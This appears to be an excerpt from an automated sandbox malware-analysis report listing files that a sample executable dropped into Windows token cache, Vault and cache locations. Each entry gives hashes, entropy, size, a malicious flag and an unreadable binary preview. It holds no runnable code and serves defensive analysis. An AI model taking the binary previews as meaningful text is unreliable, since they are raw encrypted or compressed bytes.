....9.n..^..2..l...:...)........=..o....J.............u1}...%Qg....j.Xu......[.'To..G...1\.!.T..-.e..-.~.!.....\|...5.....k...h>..$.5.xDJ..+;#.S.~P..!h..U......w.-.bju...\|...G..N..8...eFN.0...VG...t....r.....P...dl...<@qKpn.u..X&...Z3...N.-.Yg...@..4.I....K..!.'..AM1.P.A..)t..9d.5]......{q.~........#E.T.=..?[.=J.t..s}........(.C..{M2("..9....].

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.932469457732238
Encrypted:	false
SSDEEP:	48:a8uk80SzErX7/p0uT3fpjVVIAJj+WcIuPlD2SwbbQ362RiVltfefyD:a8c0SQSuLhIU6WLuPos362AltGfa
MD5:	B386F0683BC41D3CDD62B0F9037C2FE3
SHA1:	AD5D579239C08FA3343CD157912EA9EB5DAD5BC9
SHA-256:	50F6B73B007E31441885C6E99EF83B16076D7FB31D924A0F69E3C3D6BF247A84
SHA-512:	E7684D6AD406F94C13601C3A987F2005139D159ACB530FEA35302F16DBDB1C9BBBDADE6EF46A6CAEAAF2258B5A550F99A7DA49435D04666AF7094A690D6CE458
Malicious:	false
Preview:	{.".Tb....k..~D.8xH....b1!.'....E.[._./{.q.Y^..=.. '~g.......(...z...#.+&(.?........0..-.`....&,. ..h9..n......v...... 7..]...H.Xv/g......4N....j:..........{e".\|......iUV,.9..6Z}..I..l.....e..+..9E.&i...=.$oC..=...'g.<_.1$Sx.m../.q...T..,.d}.3/1..`.7H...K..50..q...........$...6@....5...~F..c7.rp.J..N.Z...... ..B.cU..>).....RSC...$..BB.^...54.gx2.....J...aPm..;..s.S..S.."PZE.>......2k.PzI.......]...F<......$E.1...>%j...ZK..0..0!..H.....$...........,.ui,ZW}...l..Dj..\.L ...b.T.7:_.f.'......p.......[h.o.[..B.h.(3pv....;..s...n..xA70....#.p..1.h.g.Z.f..Z..y....?.Y2`_d..j.O.<.#1....-..W.......s..... bO....> ..c..}" ...l.=....w..o=.Y.=...%..m...,.`o..aG."....j..@5A.a.....0._K....z.,XI...`:3..9.].k.]A.Pi..C3.evx..?..C.......9..D..k.._..../..K.....eo.........."}..s.3x.~..\..ZY.\|R....?&;0"...F...{..\|.}m..^./..q.Y._.H.i...>........SB..e@..b.tb'...lC.D.ORp..J..;..\|...q.K.y(.......^q1.$.....kH.Sp..........K._..:..F.?r...fT{3..e...jO....D.u"..

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929136638366778
Encrypted:	false
SSDEEP:	48:y2h1LYpuBq9u7mZ9V1+16u3qHy04fube/kdZsnSkJOmsGTC/cbatKTg/4IjxA1SU:y41ssBF7mLV1+165UfubfZcJOHGTAD4X
MD5:	4CB932F2BBF5C8BB62707EEDC5FE3D6D
SHA1:	E7A46C62AF988E352AF32238BA83DEBFA3807CE9
SHA-256:	7DC8CB33E1753D2B0226FB793A6346BF159D4AB044FBA41C05FB497A6E995C09
SHA-512:	6C3C191A2A51FE2DED5DF615DFAE4C6E73B094A64E56D2A8C6465E7B2BD19A1222E25E79BDAD6E612C7F02D9079C73755C5FC3FBE515662F14411E43261DEF2D
Malicious:	false
Preview:	{.".T.5t...YEnS.d....i.(yg......_)&.B...Ti.g....<......d./..(7..#....\|K<5..p;.U6.ZFOFZ..i.<2....&.GY.q......t..0.EG.Hd.W..2...;bC..CV-..^..1"c.>x...I.^.N...1.#N....4M$^.:N!q...].bhH..}..8.i........p.C..[..h.=#..f...<....5....\|....... ..a?g....;..&K-....f.r........B._N]..T..."............M...vKy..;z...cM.\|.~.,.X.......wC3J..s.B...bw.z....A[.U.FV{FJ\|...Q..s.-...%.{....v.u.b.H&.k+.H.p.W.5D.J.Al.t.9i......#...~.>'....._..!..z.[QxgT~]^.\|.H.N@...@@M.....<]v..-x...+.jw.{.x.........1>`I.."..c...5..>u;....n....;.2...Q.#5_....O.:.=.....g...KZu#....a!...A.-..J.w..P.QFD.....whL..q.>:-f.(..-)..........?.)..0,....$.6.tu.L3....u....q..W.v..3@..2.i..+.....Wz8..=.....Sx.YlQ...M>....bz..e......Vn....t-...j.._....R..;=.Cf.Y!..n..y.&b..?...Tn.......N...QS....wIB.tG.6......N..I.X..'...a...li.........>..%'%n~......C.[.z.....I."H oO.Q7X-.,..d..#z.....2..=0.On..v.......S...M.....x+......X.D..~.>.4ea..S'V..).C....I.$<5.ryj...@..^W+<.OK.Y...T4......4.b..}7^iEa.V..2.6.

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.933197985151295
Encrypted:	false
SSDEEP:	48:fj/d2k1amNnQSI7uyUEqDu/KSrJshre90HCAh8bdI+w3zk/kLetGU2KtTEZ2D:rd2k1aSnQ57UEqDuygJshm0h2UDTKtGk
MD5:	D7EBDC6C196F46A3E5134B08FB69481C
SHA1:	05FCE4843DAF4A4013973E02F4FEF5B0F552D6F6
SHA-256:	0419FA28384EDFC81568FC68E7493A2B747C664D7A13446A72BB8011AFB121F6
SHA-512:	6242B699D3D99A25B175DF358AF78761C80F35B8EEBDD6F837AE54221E6CDE8BD6902DDBAF12E0400C4056DB2525E2862E5D0656AE8723085E3FC97A5E9DF833
Malicious:	false
Preview:	{.".T..J.L..\'_8..V&...P...)..Y....CNfJE...%c...Vi.Z...cv...V..........F.....2.ca.Z.i.<......e...g..^r@}.u$.......\|.[:.....@......C..[v..RS...}.......L...gh.k5m.......W..e.47n.}..jc].i.>....i.\|.-m.D..Q./#H.y.x.N...uV@..N.0%kp..ao..4.l4.W....}..K(.X.!.....B.Nd!7..TN........J.....S..<\|.=]...e...SuB.V,....(..3..7.(3U.....H........_.+.\..v.h@..y..J...].\...R._...R...h5....i...N..B.' G.xk9...S..0.........n...b....qmE[..J.X.`x...\..r\|..\|.... Fh..i......`.....6.X.:^....$G...Io.....o..Q..:.A....$...$M...-.9.....0.F\_.k...I8n..keW.K...c..b...Lm..C...j..N.Q.u....)`.j....y...S.K.v$.._.W..x.U..+.._DQ...3`..<E...s,wg..!..7.p.q....o.js.6..."..w....'..;..).4T..d+.H.^.....!n.fz.h.._....{.!..W....-....`@x..6.n..b.!.].=Uy>.e.m0...+t.}...4..p..]s8.J<..p..F.2....6.@......l.i..8...J.u.8.swA.....2...../..Zq.wM{.b.;v~Ub..)e.......U...`(#.)Sq...P+)...6. .j....$..H0....oo.....k....N%Iv..n..Q..@..5..s..=.V..9.`?....j....M...........lW.k.:@w?c...T.:$~.?.....

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.91756005671605
Encrypted:	false
SSDEEP:	48:1VLUhqsyF5H1nO6uRKUN3YNIid/SP0JDVMQfHmv/cE4/vuh7ETGG0OIi/sTIQT01:vUhqJF7nJhhSMJDVQZWHIi/sE5R8+P
MD5:	244E7C2D5CB218D6134676A8760398EA
SHA1:	9B3D2E2220FC655AED69E8A7BEAFA4D21E0244D4
SHA-256:	2F424729DEFCF85D2E94C9C348FB70F2107666F48A3F0C5C4E33BF483EE4F4D7
SHA-512:	129C276336A8A4BFA6680B1F1EB1C49DA46B91DCB0831682D873C81780FB7E29601D4FC832A02D202A4F4B10660CC9889664FF8BFE9070E3D6210D8EA0B8C29E
Malicious:	false
Preview:	{.".T"V...&..P.i.}C9p.e...}.p`.......B..t...=.e.\|.\|...P:.$(...&.y.R..t}......9UQ\]=...(E.B:.CKvt.w...n.Yj.pH&......&.....9N]a..gEl..-V-......;....Y:9..N.....#.R=.:.Ig...0.P..x.E...\..xZ.>.>.&.".Fu.....9.P/._$.S.$..".m..VmJs...Mj.$.....;..!{X.CB.B......Sy.....!~.l...aYY4.iZ...%........<.P.J..6.M....KpA............e@y..(.1U....b7MT`V.Agiw7.I.ud...hEd..w..5D.2...?.J...0.....;..4...y.{....p...u....zgPZ2...VHe..0.UB....d...EX..1.6..0...g{.Z.....J..2..... ..!..}r`.....+v..C.Y.D...&.H..E.5M.?..R.V..-.....oA........T..&$.K.. Oh6b\]IY......]...UJw.B. .........4.1JM~.b./."..lj....\|..L.t.r..X....u.2...n.&...u....S..,x.FG~m).....2..i.9.......U...b.KS.....1..Jzm+yG%.=#...i{....Zz......jr.K...^..P:........=".)n.h..=B..Np.jy..G..g`)La.mn.....k..k$...)....e.o+....{a....,...^.pZ.P>.HTOv.`...p=O.F.5..)6.T...9...t.x..,..o.2..A....Ta.V..._..ki.~.....F.3.L.P.C..eJ...PT.....u..&.b....hH..f+.85....c.T.n..$+..`\|.M\..x+.......8:....2.......,HO..k$..

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.95789475368703
Encrypted:	false
SSDEEP:	96:m7cYp+IzfTDDWeBjtwSF0feaVqOcSksgWYw/XTPEafdJVpt5ioP15Al:RYk2zjtJFNa0H2YQTPEk5357dk
MD5:	4B6A80B6356FA3842E3C42AB521E8772
SHA1:	32F9A6836151650D306C84C48DF5672ED33D5096
SHA-256:	B34D86ED0320A0FBC838F7D0E6D6F13EF590367468F1B3BE995A67BE7A52F203
SHA-512:	37D755CA5A488CB4A4E8A48F92CE0301ABA7F27863824BB926718215B0CFE9D000A25E6C87526E00F342A30D3AB12688E6ACD278A473A3D003F00A86A8F8077C
Malicious:	false
Preview:	{.".T.?M.............&..c.E..Se._..^~..d.<'.]..FEE.....!K..c..I...)=.........V......H...B Y.=/..-..:.\..g.....]E.._...;....2..w.?$.pDb...~....H.48.QP.h....rR.n@f...e....z.EwV]T.;=U..6).{fs....F..j....M4WBt.e....wxE...E....g...k.J0...pA#N.L........T..."....+upF....0..`....PR.w..W!9P ......K;.:pc=}...I`....o..3...<...........O...4hat .......n.....9.8.;...Y..m.....9B..e[.O.o....+i.".GW...r...VN1..\|#".KYC........nv..K... ..+..{..E.Z......%.ps..}.%d...^..kmR.Ew...l..B..i...q.h.B.g.0....y .X1+ .`#6.[.a{.[...).7.~...H.=.;!.v<.E.P....?.c.j..t..czk.........3...7W.&.&..:e...g...h..#..i.%.`k..\|.w[ .r-p.v.\.#&SN..TL\.............g..%UM\|....q.P....p. .j;...?D.i{~.\|5y.....".&.?JH'..b.%..l.F..I.<s.....5(..m.mYo+...b..4L.@. ....~0....Vt.'.Z{.z......B.....I.7.....:.+NZ.t..].5&.8....Coj..._.._+...........0.K'9..o..<...w..>B.Af.w*brB.P.W.......RG..(.el..A}r>.Tt..6....V.<........{....k..I=...9.`...wv...a.....<>. .x.F...0.d.^VR....V...jG.D..wW...W.3.0.x.2^+.sO

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.935295605513314
Encrypted:	false
SSDEEP:	48:bBl9e70Wr4Ncr3Gu8Wgxbc/NvHjk1sG/xZP5MYXF1frKUe9GVAhd3gOpuN9toKD:Vl9e70Wr4Ncr2u8Wglc/xDoJDf11vDga
MD5:	C9FFBAB61550F5D5D2023B4945D391CE
SHA1:	D3B8823676B410A752CB23C7E9FF867AD23A9714
SHA-256:	57D7E9F0C453B5C08686D508C47D89F86C1820BE4722F933230A54CC7A1B15E7
SHA-512:	9646A6AE3B7DFB52A42AB98C9FB5BC00E3C3BCD7B08B4F31DADC58DF2AA32692ABD6031F4CBB25CA9558CCAF874089A6F6BC309A1539714ADAF3EFA101B62818
Malicious:	false
Preview:	{.".T..0...........[2d.\|-F..;.Y.S.7.3,...>Y ....\|A...,.o..j..........s..pC.%UdX..+.@mz#L.I.3k.f..P...6...n..pu...@t..e.h..?..\|..f....W;P^.t..T.es\|.4.f.s.Bn.....kd....n4.0.s......~...FT\|rX........fRu.......({.....=!.]F.t..s-".......a,N...$J..+...3.P....1._..~.F..h..$.#./..1..ZhO.z..{....E.....)W.........Pj..n.P4...g......n@.......^.2E._...$..?E.....S..>.6.eQ.f...t...I..w.7...JM..4?wB"cvE...V..3../,.IQ.h..G....Ph........G...6].....L...n..lkr...H...2`Jb...M.F......I..Nm....}.{.N..L~...s......(....}.$ P.0.r......<...J....^..v..%g.Ob_.C..K..b.......U..._...).p.Q.X.L.....~..]P\.&>ro.."..0.........,..($.F..]._.../.....s5..&.g.bB.....h.. ..&8.......9D.....NBT]..+^..rkw..DM..K.D....#+..' ..98.U.............L!,....p...o....w.'..(.0..C.e.#n.2.'b.Sck+......0....88+dks\..i...~.. Vn...@.... ^...#.f.v8._D ..M.vH.X..l.r-.<..6..=A.w?.]..2.k....q.~Y...~.x?C+...!.o8....=.B...^.......2.j;.)m.Uu.....(.a......*+D....%.^.......e.H..T...o.......{..A...4...0.N.'.

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.925544143898626
Encrypted:	false
SSDEEP:	48:VonqFHvd5wPQ6RQsfx2ARaOT8clI1S02QkQlngpbTBEWqAVywyD:VVLwPEARjHlAFxBgpbTp38wa
MD5:	2EB7411ED4C8D6F45E83F32780620E41
SHA1:	57F880CB3F2716320FC6CF540654DE964D6FC3D2
SHA-256:	D6CCE22F97CC7FE08796E6DEABD58F8433B15C292DC05B35C09278A47DD1ADB2
SHA-512:	B4D4BA002DD47E8CB1AE868C74A6379803A9EBD44E22104558BEECEFA5FE77101E906C45412D0FCCC2C0A24BF48A33CF0D29B507007B9C29E07E6C6CE1C4D6C6
Malicious:	false
Preview:	{.".T.q.9D,`.Y`.==T..S...w.........F....t..NB...swo...O...........:!O'...;i".....j..J7....s...n.}.l......"A.O.2...A.?.....u...L..%`....M..\.o..g..M...\|.....g...P..f..H~.j.X.s.LX...e....V.9..9"..sf..o.+....1..{..n....K.>8..J...1,..C..{..1..S...L..W.P.....:6.y.G.y..5FD.N.....#[...0D{.B..Q.@......9i....,{.."[.......`.j..(K]<..,>..a...KV.I.!/.I..n=..T...^1J....R0../.)...,OQ...%P....,..3..s..m..ca.&o=.(...P....[z!',!...$..'.].p...a.^o..~+.0v....<...(o..G.E.8..{l..h.\.......b...&...O.[K...."Z.?j.A.v.....q>..k...s.......c..9.0.x.R\|N..=8...E6.`..-x.<[.\|..5..in..wj.e..5..>q....L&....;..}.\WD.y9xT...:!...B.l..R.H.......`..-~f....vM..C2.r%.&.3j..3.4.D.<....zU...j6....lW....BM).4...=..C..{{.d..Q...&..(..R......j...._.2....`.$.q...O^....G...W.J.....C.(....._...lPG.Y....2.<r..UC...T...YZ,v.\|.iE.R.GZU{.: ..y..MD....'.>....S,.%.sK.>.......$.K..X...Qq..(S..M.&..8.(j...t.....8.'"!..g....U..U.#6.w...Z..V&..rRWC.<...>.W;N.o.`...I....,..3...<.}...M.U].

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.718480902252297
Encrypted:	false
SSDEEP:	12:nbUzE48vNcICSRsBlhd8eDSn0bP/XXm7qwQNqm2M/GH1DOgm7xZ2HWzIY2xruPrS:noh8KIWNd8SSnqPfYhQcFs//SZRdIkbD
MD5:	7A580FE9FAB875E757291845638D20BE
SHA1:	D414E72A6C5793FEC376C77BE391C7177083FBED
SHA-256:	DCEA607B03317849054B834BA7B01E06A9BB3194591E061A63AC0C969AEDB804
SHA-512:	42D604170C7AC3B925533F0A3D46B072049FB36C87AC1AB41FC85CED14DA21A49FAD4EF268DBEBCBBC7CB299921C26EA4DD53163CC0069715DD95450F8836EE7
Malicious:	false
Preview:	....B.]P.-.'..M......3......N.Z.....)`v?\|.....<....M.Hr.k.[m...ujiIo..^U..s.7.9.. .........=.S.=......T+o..m..D8...d..L-....J..K.:.@.i..`.#a;..8M...n.n.O......}.,....8..."..8.....-.P}Y.uQ#.q..`.$z.g.jiy.W:........,e..o.5.!...O.....4.$;.V....Q..V.q........_.G..0\|F.q.b.mc2........:Y......3....A..:y...p..I.&4......9:#..'...lUv...5w4fp^..8...fmhe..UP...U.........h.$.G.....P~..A.Y.='...FWw".r..=....0..l.y"1-.s. .&k.&~...).,....e.n....k#.4.$R.qi.u.%...-..\|..t.G\|HM:"P....g&....;.....l.8...%.....o....K......>^8....\|...Q,p..3U../a.h...U....i.t....>`........7@.s.. ...&x..l...MYa.?26.G.k.M.O...H....}.W..x..m..fr9(....EN...o.L.?S.P6j%.M.6......'j.X...t...pt.fn.7I.$s.].dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.331616132857304
Encrypted:	false
SSDEEP:	6144:9SNwqIpcFp/ghmQkrxlFUFbUzV0Km+vyJfbnQkK96B88yKv4bWTmTvEiLSh:uwqKcYI9lgQCKm+6dF4/+
MD5:	4EAF039801E3CE71A468519151BF0F02
SHA1:	42CBFCC843A28B30E78FB2716F2257A37C76BABB
SHA-256:	BF1FEF6B2B2378EEE0E9CAE773B8677609C818F706448D8AC123507E50824271
SHA-512:	C58214FEFE1AE5AD81A500A00AE9AE3117A7229EAF976715698F93BBB0A6F0BA08DB2EC6967BDBA538B6BB6E4F636B8A9586CFBA40FD3F520E25F1158034048C
Malicious:	false
Preview:	...P.6DV...c..".................1.....2.2."q.T.,.3..h./e..+..Y..F..d...............\..._.P....%...1..M....iv..Au.u....+s_...@M-....%.k..?-......n..B.wH....T......^.....4..2=.0.N..%.&g}... ....f.&.. ..}..:.j.Y....).^.S.\|...5_.F.{^2mf.....Mv....nN...x.wY.....".E.bY...L......9.Nw..!.O2~.pQ=...q..MR.C..PJ..6..V...........S..[..!H..A.G....w.".1Q....-.Te"...jKR.c.d:/..\..w"4....l.t.x._.o6L\|.C..1..b..sV...\|?..G..........r..1......7........v..!0......E..H...}....s."[...(..."!........(h..p../...ub...G...,..Dt+M..x_..y...5U....,...uMB....U.{.N.A..43D......Z.[.........M6.....K..L=....."...M...{../..A4...G..O.5...c.Z.%...&...9.......rtNo..J.w..n.n....d...c.......2...H.Z..Qb?..".Y.E.eH...}.......X..\...e0...tw.U...{,..$5..h.....d.U....._f.%....5h..".cl.....R.s..o.fr.Y..d.a.$H...E...%.:.......6.q....^.S...>.0....;k..FRGN..Sk.......Lc/h!...6.r....\|..l....o.!...OE..Wj ..D..>@../.&<H.4..(...dI...Feg.^.>#.0._ob..>..;.$B.E............a.....O/

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988055506756127
Encrypted:	false
SSDEEP:	384:Ngle1KUdZb9aJnyX2RJ+IM+5cPZY+DCJFDs7kn:6le1K4B4+wYmvs7kn
MD5:	7EE0EAB85474CFDA48303BECCA7EF4D7
SHA1:	22A20122F5521279FC350DCEC911F7B3FA30E2C7
SHA-256:	60401FD7C0308298BA54F463B11CC573ACF99BF4B2A0B117FC0D098F6D544DB4
SHA-512:	CBD8F05EE15799EB64F41302933060C177BC6BCE52D2BDCF2A6488999C983015E7A4AC24A80898AD8C273D1AF07EAEBE187F6487D6DFF9E2E5DAC48DC2ABB152
Malicious:	false
Preview:	.... ..e...B...7.{D...!.;...s.p.....;..q...wT..."'.zPG>....=.w.w.>U...q.<.v.w....us.mKP.p..A..\|~.V.I.@..FU..8..t....q..)...f..L}.....:...6......V.^X.E....;...p........,..+.8.afgG.YS.ub_......h2U.i{ ..#=.OZ7.Y)...t.X".....%...... .../7:.].....-gO.{...\|,\...y;y......!dj)......L.b.GN1x...@Da4...........G.}.........QruU...O...z.....J,v.nb.....q...C[..x{B...o{s,.wNb..._Q:/.\.nE.}.)jj.oE...........x....D..k+..Z......R1o"..z....../\.....,..............0.cJg.".ja.y..VI.i(...~.....:.t..+..c.D.q.O.!M.D.l}....G.t...j..f.@..H.&r.K.aPaH.Z.`.+y....Ou.p@.k...r;u.eR.Y.5.g6.\|..I).e0.~.I.pE.].I"..D...V..\|.p.}..;..yF^.>....&#bL...............5.......6,8..b.K..p9...I....D....".zK.L......Y.............F.C..H..A........3\|}.P.I.s..-.d...nF`.O....T........y.LJa5...3...X."..}....cOa....\|.C.G....&..W.K9.o.o....`..,.k.....h.z..,.L'2a..`.l.L....n..b..&y..>....)]w....xX.pT.3.(4Z.....I56...E[L.1.O<.........7$.Z..L..c.Pa.:S,{.....S./3.6JG...r.....o...F*....Sb.C.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987703085317622
Encrypted:	false
SSDEEP:	384:8ybLdvdxKlJNjAPxTNKEfiny2RfSBKEIRAmlf7YNOig:8ybZqXj2/7q9gBKEIRAxTg
MD5:	A52C836B606A94FFD1542B9CD3FE1FDB
SHA1:	74288B4265A91E007D91FDA57F5096F676E790BB
SHA-256:	22B20D955F68BA559AE81EACA79A5F01FF62E7A3EED6A949398027F463F90D81
SHA-512:	19B5D03ABFD0707625B79C58F5D32FE4C48B63652C307758A6659490384B4BFD9F06A215C47FEFF0D32AB9EADE8CBDE1444671EC064D3C4E29C6F8E82251DC10
Malicious:	false
Preview:	....`M...R.....O....cr."L..,...........g..Vk.....70.......;..k.-8...##G.&.u.:...... l.......m;..V..7<c9......?.l..%7....U.N8.E..c.....Ev...."+.s......E..!<)......]A.\.n.$\....U..-xo.\.B%..w0F.B....)oP.}.+..&...V/.`S..."7...X....\.}9.....I_]@QV_..q_..Q^n.g..9`..U#F{.xBW>.Hy.S<.sR..6.Q.DF.w.O...N.o..8.]...+DP.....Z..h.[...nk?f9.=..b...f.n....e.k...CPk....,.3.H..8......]exT\|5Z...Z....dJ.T.>.@....9..^....S.....?;Kh+.........h..qr..K..j....S`.{...l:S...Hz..).>.]o\|.s\.. >..G.x).....!I.X....d...@LXp..T.z?...............b.>..8.._+'...m.....I'.~}49yFWe....m'ZB....H.]..&d....tG...Q"}..Z..9..B.>lQ.D...a.F.6.jj..........<.WY7....;..@.%k.........V...+...v/.:.X.....}..P...._..}...x1...;.H...?..n.f44..[.3..=n,...E..E..=]v\|j.....#.H_7[.X..M...g.u%.-....../.QMi4.v..;....R.1\|.uJ.B....}+..O.=..._..^..?o0..G.....]...d.I...X.l....<O.R...U.PPQt.5....F.+....*=d....i.h.(.kq.6.@..f......?LU..z..s.b8.x.....Io....p}#.......&...b.z....O"...kC6B4Q....RuY7..\|

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{10C46A9D-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331867849951765
Encrypted:	false
SSDEEP:	6144:8rTyJV0fVPIP/BWAbjGgFeLufwQMmm+vyJfbnQkK96B88yKv4bWTmTvEiLSy:8rTiVHPkAbk6fRMmm+6dF4/J
MD5:	43F2F1D13C0B0252D295E6FF60002232
SHA1:	AC998E91330A5BE52E69F4D0614E807E350D087C
SHA-256:	684EB6D376270FBA8D4B007544E815F2CAEBA4AE2DF2BE30E833BDF288F82AAD
SHA-512:	C57610AC2B7E589111E04013FF606AE7C2B37910991C5B5A955AFE89B537509EDC7F9E37673E36D29AF5B8CF3D8C34260939819CF73E4928126B1CD06D717B23
Malicious:	false
Preview:	.w.. ...I...o.......v.DV.....9.(...E.k...\..i.(..."$.....,....I.G.J...SA^..3CP.W...'......<.+.\|ME..;J.X.h...x.~..e...o>..z....o@J.cR.`...}..W....x..[<.QI...:s.?...g.M......w.(O...L..H\|..B.h...5.X..5....+..v....H. .z..zs..........e\...5...B...pZR)_.}.`V.D/..,..!.r.\|.o./.c.8......:.....9.%;Z....v.[a....f.G...(...S....G.a.......4..o.....~41.UE.U...X?...S....#.5@..o.GP:.(..........n.~zF\.....y".C.l.....}.......\|..I....3.. .wo).s..c.>....)..Tp.....N......"........\.6.......%To..r.x........].p<..R.A..+.5.......b..6.k.z.L...1.uF..}.hdh..;.`.5..7.z..N.....#.....#G..I..\|G.+.ne.k...r ...6.F.2.N...)Bjj.!..8.....Sat.k.Jx....P.'...T..hT...E.q....w.gPl...fP`..z.....0....w......4......j-.....o.L..Od..3L.,r ._;.g. ..6......W<. ..~K6.j.=.G..'......B`....jU.\|V&K,.V> _..hh#p.e....Ue0C.."].....02s..Z..........r.Aw...-q\...R....v'........i#...L.......#.Y.o.b~....z...:..Q.OFJ..B..A.....g...g.....s<,y.....X...x.z.d.nz.RRO.(..l..>%.v.T...?..Ie..2..H.:.57';C

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	102734
Entropy (8bit):	7.998252443688736
Encrypted:	true
SSDEEP:	3072:dB5DRMPKxxMd2Oc+DIrF1zs72IUPFUgD7hRex:7gKxCdzQFBRIU33hAx
MD5:	95F6E09531E4CFBE17D85370397228C9
SHA1:	E3C78F497CC7CDE0CF50A249D67D4D6698FC379B
SHA-256:	73BDC1B390961AE5434666C319C2D758DA39DF99144580B8E721C8C7AE21788F
SHA-512:	85ADF07DAFA73B81E108DCF6CCA0765BB395D42C5DA7E230B17FD648995E5BD18F54DEAFC904D9FB76579FD1CDFCF1BE4DEC564677AF40C4E9B8B207D4CFA883
Malicious:	true
Preview:	....h....]....N.1.)m......k..R..^..W<...g...C^....F....f...l.........l..?....x...e....V..'....=.Q......N.....M.o.).W[B.H..H..&V.....'s......h...5(.?Q...3:#.+.<.V_..;P...........!.....V.X6/_.O).pb.g..N.-.).H_.<....0\|..J(..8.x@...k%.....tt.:...2.4S....6......K.......\......,..I...Q:...J.......W..3.....i.<...G..Wkw.hI.Y.....@.w.6...(..0............ai.E...].}.....Me;...x..(.r.9.bV....\|.T.R..t...[.;N....x._Zo..'.o....y...<..#..N.......)..K=Yi#f...=O...7.....00..@.f..?>.Y....y.zD..e6<[v!..\|g.L...^...-@'.v\.<x.n+9.1.Z.x)..M..v~O^.X3..a......I..".C.:e%..'...I..dUQ...+.X..7j..=B.^.....F[...8...>8iEu....3u..<..5"..=.9.;.......p.F0..6Pc.>r..=.!X....U........IP..j.a.3..v.$.\|.%.%.j....V...k507...q#oD....,.U..../.X ....kD,...\|U.@.~.....8.4....K.3......U.2\|...U....\|.B.dMcC.........%. ...}.5?XW..D.w.!....A..I..~)..M..h~....n..Z...l.su./C...\|.FPx.V.<.~..J.sj..wL...&.\.n<x..a.:.n..m1...T.[z/.. ...o...EI..8P.{....m0&....x.}....9..$.C7...>s">u:3.{6

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	133230
Entropy (8bit):	7.99859727865221
Encrypted:	true
SSDEEP:	1536:N3znCmox9sSKPUKEeoDrFQaM6g5wX5afj6/a7K+QXlKubZj8Y29VAHFG3BWcIA+k:xjdMsSKma16tp//MKjgulkYMWzQ
MD5:	90F1CFC6AB42DEB70D0DD345EFCF5910
SHA1:	25152F6E7E93DAD8AA1E36C6DA2D5FA921A623E6
